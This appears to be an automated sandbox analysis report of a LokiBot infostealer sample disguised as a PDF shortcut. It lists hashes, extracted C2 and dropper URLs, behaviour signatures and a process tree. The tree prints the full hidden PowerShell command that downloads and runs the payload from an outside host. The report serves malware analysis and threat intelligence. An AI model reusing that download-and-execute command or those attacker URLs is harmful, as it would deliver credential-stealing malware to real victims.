Analysis

  • max time kernel
    291s
  • max time network
    296s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-11-2024 10:37

General

  • Target

    Transferencia.pdf.lnk

  • Size

    2KB

  • MD5

    f979b032e2ff9982eb392528641b634c

  • SHA1

    47a8320cfa87be712554d29b9ad7ad83fee04370

  • SHA256

    5dc14e2aeea05c75894a451c65b43ddc7eb8c70c62ec4da968a2aeccdb52450c

  • SHA512

    3891b3b796c8b8ea5d1824a5cce9ec2201bd1ed61d1fbd8d0d561b4da51fab1cd2d865684fe2787ad1385ea529da376f083007059859206282ccbb3cf5ea9825

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.sodiumlaurethsulfatedesyroyer.com/tdtyhrxf/dfhsrarytrsagerfwearfwerfwerthdyttyfuiuoifjcghhbg/uhihtrgeytgefghdhjsdxghshnytrghdhfghsgb/sdfgdsh.exe

Extracted

Family

lokibot

C2

http://naturealmikaly.sytes.net:5338/sujfygidj/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Lokibot family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Transferencia.pdf.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5004
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hIdDEn Hiddden -Command dssec.dat;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/tdtyhrxf/dfhsrarytrsagerfwearfwerfwerthdyttyfuiuoifjcghhbg/uhihtrgeytgefghdhjsdxghshnytrghdhfghsgb/sdfgdsh.exe','aisplayca.exe');./'aisplayca.exe';(get-item 'aisplayca.exe').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1028
      • C:\Users\Admin\AppData\Local\Temp\aisplayca.exe
        "C:\Users\Admin\AppData\Local\Temp\aisplayca.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3480
        • C:\Users\Admin\AppData\Local\Temp\aisplayca.exe
          C:\Users\Admin\AppData\Local\Temp\aisplayca.exe
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:4056
        • C:\Users\Admin\AppData\Local\Temp\aisplayca.exe
          C:\Users\Admin\AppData\Local\Temp\aisplayca.exe
          4⤵
          • Executes dropped EXE
          PID:2888
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2888 -s 88
            5⤵
            • Program crash
            PID:2748
        • C:\Users\Admin\AppData\Local\Temp\aisplayca.exe
          C:\Users\Admin\AppData\Local\Temp\aisplayca.exe
          4⤵
          • Executes dropped EXE
          PID:1572
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 196 -p 2888 -ip 2888
    1⤵
      PID:2772

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1j5ry5ek.00w.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\aisplayca.exe

      Filesize

      278KB

      MD5

      cdff2a3c6ee375da1457399d2e649eaa

      SHA1

      5ba6fc635a48e49cb58b9ae9e1cae09cba2f0551

      SHA256

      521f0184afe9ea173b1a43e0cda3d5d18ee3380469516a35b2313432c728efc3

      SHA512

      723d00aa3716383ba412e201f355de016e248e29e1f5b5bb1bde6e265cc1d97179e68320fa26b2031acf81a82bdcb6fdbf04a65cefed813d38f8bf41042602f9

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3756129449-3121373848-4276368241-1000\0f5007522459c86e95ffcc62f32308f1_a63d6fdc-08cb-4232-ab51-76cafdcb4d96

      Filesize

      46B

      MD5

      d898504a722bff1524134c6ab6a5eaa5

      SHA1

      e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

      SHA256

      878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

      SHA512

      26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3756129449-3121373848-4276368241-1000\0f5007522459c86e95ffcc62f32308f1_a63d6fdc-08cb-4232-ab51-76cafdcb4d96

      Filesize

      46B

      MD5

      c07225d4e7d01d31042965f048728a0a

      SHA1

      69d70b340fd9f44c89adb9a2278df84faa9906b7

      SHA256

      8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

      SHA512

      23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

    • memory/1028-3-0x000002996D080000-0x000002996D0A2000-memory.dmp

      Filesize

      136KB

    • memory/1028-13-0x00007FF814CB0000-0x00007FF815771000-memory.dmp

      Filesize

      10.8MB

    • memory/1028-14-0x00007FF814CB0000-0x00007FF815771000-memory.dmp

      Filesize

      10.8MB

    • memory/1028-15-0x00007FF814CB0000-0x00007FF815771000-memory.dmp

      Filesize

      10.8MB

    • memory/1028-24-0x00007FF814CB0000-0x00007FF815771000-memory.dmp

      Filesize

      10.8MB

    • memory/1028-2-0x00007FF814CB3000-0x00007FF814CB5000-memory.dmp

      Filesize

      8KB

    • memory/3480-25-0x00000000005F0000-0x000000000063C000-memory.dmp

      Filesize

      304KB

    • memory/3480-28-0x00000000093B0000-0x000000000944C000-memory.dmp

      Filesize

      624KB

    • memory/3480-29-0x0000000009A00000-0x0000000009FA4000-memory.dmp

      Filesize

      5.6MB

    • memory/3480-30-0x0000000005030000-0x00000000050C2000-memory.dmp

      Filesize

      584KB

    • memory/3480-31-0x0000000004E70000-0x0000000004E76000-memory.dmp

      Filesize

      24KB

    • memory/3480-27-0x0000000002980000-0x00000000029D8000-memory.dmp

      Filesize

      352KB

    • memory/3480-26-0x0000000001030000-0x0000000001036000-memory.dmp

      Filesize

      24KB

    • memory/4056-35-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

    • memory/4056-32-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB